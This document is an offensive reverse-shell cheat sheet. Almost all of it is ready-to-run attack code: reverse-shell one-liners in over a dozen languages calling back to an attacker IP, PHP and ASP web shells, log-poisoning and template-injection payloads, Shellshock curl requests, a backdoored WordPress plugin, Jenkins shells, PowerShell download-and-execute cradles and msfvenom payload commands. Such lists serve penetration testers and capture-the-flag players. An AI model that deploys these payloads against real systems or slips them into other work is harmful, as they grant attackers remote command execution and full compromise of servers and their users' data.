Offensive Reverse Shell (Cheat Sheet)
-
Bash
TCP
bash -i >& /dev/tcp/192.168.1.2/443 0>&1 bash -l > /dev/tcp/192.168.1.2/443 0<&1 2>&1 sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5 bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1" 0<&196;exec 196<>/dev/tcp/192.168.1.2/443; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do $line 2>&5 >&5; done
UDP
sh -i >& /dev/udp/192.168.1.2/443 0>&1
Bash URL Encoding
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22
Netcat
Netcat Linux
nc -e /bin/sh 192.168.1.2 443 nc -e /bin/bash 192.168.1.2 443 nc -c /bin/sh 192.168.1.2 443 nc -c /bin/bash 192.168.1.2 443 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
Netcat Windows
nc.exe -e cmd 192.168.1.2 443 \\192.168.1.2\a\nc.exe -e cmd 192.168.1.2 443
Netcat URL Encoding
nc%20-e%20%2Fbin%2Fsh%20192.168.1.2%20443
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Ff
cURL
root@kali:~# echo "nc -e /bin/sh 192.168.1.2 443" > index.html; python3 -m http.server 80 root@kali:~# nc -lvnp 443
http://192.168.1.3/cmd.php?cmd=curl 192.168.1.2/index.html|sh
WebShell
Exif Data
root@kali:~# exiftool -Comment='<?php system($_GET['cmd']); ?>' filename.png root@kali:~# mv filename.png filename.php.png
ASP WebShell
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>PHP WebShell
Basic
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
Basic Proportions OK
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>
Log Poisoning WebShell
Log Poisoning SSH
/var/log/auth.log
ssh '<?php system($_GET['cmd']); ?>'@192.168.1.2
/var/log/auth.log&cmd=id
Log Poisoning FTP
/var/log/vsftpd.log
root@kali:~# ftp 192.168.1.3 Connected to 192.168.1.3. 220 (vsFTPd 3.0.3) Name (192.168.1.2:kali): <?php system($_GET['cmd']); ?> 331 Please specify the password. Password: <?php system($_GET['cmd']); ?> 530 Login incorrect. Login failed. ftp>
/var/log/vsftpd.log&cmd=id
Log Poisoning HTTP
/var/log/apache2/access.log
/var/log/nginx/access.log
curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.2"
User-Agent: <?php system($_GET['cmd']); ?>
/var/log/apache2/access.log&cmd=id
/var/log/nginx/access.log&cmd=id
Server Side Template Injection
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.2\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
UnrealIRCd
root@kali:~# echo "AB;nc -e /bin/sh 192.168.1.2 443" |nc 192.168.1.3 6697
Exif Data Reverse Shell
root@kali:~# exiftool -Comment='<?php system("nc -e /bin/bash 192.168.1.2 443"); ?>' filename.png root@kali:~# mv filename.png filename.php.png
Shellshock
Shellshock SSH
root@kali:~# ssh user@192.168.1.3 -i id_rsa '() { :;}; nc 192.168.1.2 443 -e /bin/bash'
Shellshock HTTP
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.2/443 0>&1' http://192.168.1.3/cgi-bin/test.shcurl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh" curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"
Shellshock HTTP 500 Internal Server Error
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh" curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh" curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi" curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"
CMS
WordPress
Plugin Reverse Shell
root@kali:~# nano plugin.php<?php /** * Plugin Name: Shelly * Plugin URI: http://localhost * Description: Love Shelly * Version: 1.0 * Author: d4t4s3c * Author URI: https://github.com/d4t4s3c */ exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'"); ?>
root@kali:~# zip plugin.zip plugin.php-
Plugins
-
Add New
-
Upload Plugin
-
Install Now
-
Activate Plugin
October
function onstart(){ exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'"); }
Jenkins
Jenkins Windows
println "\\\\192.168.1.2\\a\\nc.exe -e cmd 192.168.1.2 443" .execute().textString host="192.168.1.2"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
command = "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')" println(command.execute().text)Jenkins Linux
String host="192.168.1.2"; int port=443; String cmd="bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Perl
perl -e 'use Socket;$i="192.168.1.2";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Python3
#!/usr/bin/python3 import os import socket import subprocess s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.2",443)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
PHP
<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f"); ?>
php -r '$sock=fsockopen("192.168.1.2",443);`/bin/sh -i <&3 >&3 2>&3`;' php -r '$sock=fsockopen("192.168.1.2",443);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("192.168.1.2",443);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("192.168.1.2",443);passthru("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("192.168.1.2",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");' php -r '$sock=fsockopen("192.168.1.2",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("192.168.1.2",443);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.1.2",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Xterm
xterm -display 192.168.1.2:443
Ncat
TCP
ncat 192.168.1.2 443 -e /bin/bash ncat 192.168.1.2 443 -e /bin/sh
UDP
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 192.168.1.2 443 >/tmp/f
Socat
socat TCP:192.168.1.2:443 EXEC:sh
socat TCP:192.168.1.2:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.2',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1') C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.2/shell.ps1') powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.2/powercat.ps1');powercat -c 192.168.1.2 -p 443 -e cmd"
Awk
awk 'BEGIN {s = "/inet/tcp/0/192.168.1.2/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Gawk
gawk 'BEGIN {P=443;S="> ";H="192.168.1.2";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'
Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.2:443");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.2 443 0/tmp/p
telnet 192.168.1.2 80 | /bin/bash | telnet 192.168.1.2 443
mknod a p && telnet 192.168.1.2 443 0<a | /bin/sh 1>a
TF=$(mktemp -u);mkfifo $TF && telnet 192.168.1.2 443 0<$TF | sh 1>$TF
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Node
require('child_process').exec('bash -i >& /dev/tcp/192.168.1.2/443 0>&1');
Msfvenom
Web Payloads
PHP Payload
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php
War Payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f war > reverse.war
JAR Payload
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f jar > reverse.jar
JSP Payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.jsp
ASPX Payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx
Windows Payloads
Windows Listener Netcat
x86 - Shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe
x64 - Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe
Windows Listener Metasploit Multi Handler
x86 - Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe
x64 - Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe
x86 - Shell
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe
x64 - Shell
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe
Linux Payloads
Linux Listener Netcat
x86 - Shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf
x64 - Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf
Linux Listener Metasploit Multi Handler
x86 - Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf
x64 - Meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf
x86 - Shell
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf
x64 - Shell
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf
-